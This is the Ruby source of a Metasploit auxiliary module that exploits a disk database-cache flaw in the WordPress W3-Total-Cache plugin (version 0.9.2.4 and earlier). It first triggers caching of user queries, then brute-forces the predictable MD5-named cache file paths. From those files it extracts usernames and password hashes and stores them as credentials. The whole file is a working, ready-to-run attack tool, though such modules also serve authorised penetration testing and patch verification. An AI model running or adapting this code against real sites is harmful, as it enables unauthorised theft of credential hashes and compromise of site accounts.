## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'WordPress W3-Total-Cache Plugin 0.9.2.4 (or before) Username and Hash Extract', 'Description' => "The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements and its results in files for fast access. Version 0.9.2.4 has been fixed afterwards so it can be vulnerable. These cache files are in the webroot of the Wordpress installation and can be downloaded if the name is guessed. This module tries to locate them with brute force in order to find usernames and password hashes in these files. W3 Total Cache must be configured with Database Cache enabled and Database Cache Method set to Disk to be vulnerable", 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '88744'], ['URL', 'https://seclists.org/fulldisclosure/2012/Dec/242'], ['WPVDB', '6621'] ], 'Author' => [ 'Christian Mehlmauer', # Metasploit module 'Jason A. Donenfeld ' # POC ] ) register_options( [ OptString.new('TABLE_PREFIX', [true, 'Wordpress table prefix', 'wp_']), OptInt.new('SITE_ITERATIONS', [true, 'Number of sites to iterate', 25]), OptInt.new('USER_ITERATIONS', [true, 'Number of users to iterate', 25]) ]) end def table_prefix datastore['TABLE_PREFIX'] end def site_iterations datastore['SITE_ITERATIONS'] end def user_iterations datastore['USER_ITERATIONS'] end # Call the User site, so the db statement will be cached def cache_user_info(user_id) user_url = normalize_uri(target_uri) begin send_request_cgi( 'uri' => user_url, 'method' => 'GET', 'vars_get' => { 'author' => user_id.to_s } ) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout vprint_error("Unable to connect to #{user_url}") rescue ::Timeout::Error, ::Errno::EPIPE vprint_error("Unable to connect to #{user_url}") end nil end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :nonreplayable_hash, jtr_format: 'md5,des' }.merge(service_data) login_data = { last_attempted_at: Time.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end def run_host(ip) users_found = false (1..site_iterations).each do |site_id| vprint_status("Trying site_id #{site_id}...") (1..user_iterations).each do |user_id| vprint_status("Trying user_id #{user_id}...") # used to cache the statement cache_user_info(user_id) query = "SELECT * FROM #{table_prefix}users WHERE ID = '#{user_id}'" query_md5 = ::Rex::Text.md5(query) host = datastore['VHOST'] || ip key = "w3tc_#{host}_#{site_id}_sql_#{query_md5}" key_md5 = ::Rex::Text.md5(key) hash_path = normalize_uri(key_md5[0, 1], key_md5[1, 1], key_md5[2, 1], key_md5) url = normalize_uri(wordpress_url_wp_content, 'w3tc', 'dbcache', hash_path) result = nil begin result = send_request_cgi('uri' => url, 'method' => 'GET') rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Unable to connect to #{url}") break rescue ::Timeout::Error, ::Errno::EPIPE print_error("Unable to connect to #{url}") break end if result.nil? || result.body.nil? print_error('No response received') break end match = result.body.scan(/.*"user_login";s:[0-9]+:"([^"]*)";s:[0-9]+:"user_pass";s:[0-9]+:"([^"]*)".*/)[0] unless match.nil? print_good("Username: #{match[0]}") print_good("Password Hash: #{match[1]}") report_cred( ip: rhost, port: rport, service_name: ssl ? 'https' : 'http', user: match[0], password: match[1], proof: result.body ) users_found = true end end end print_error('No users found :(') unless users_found end end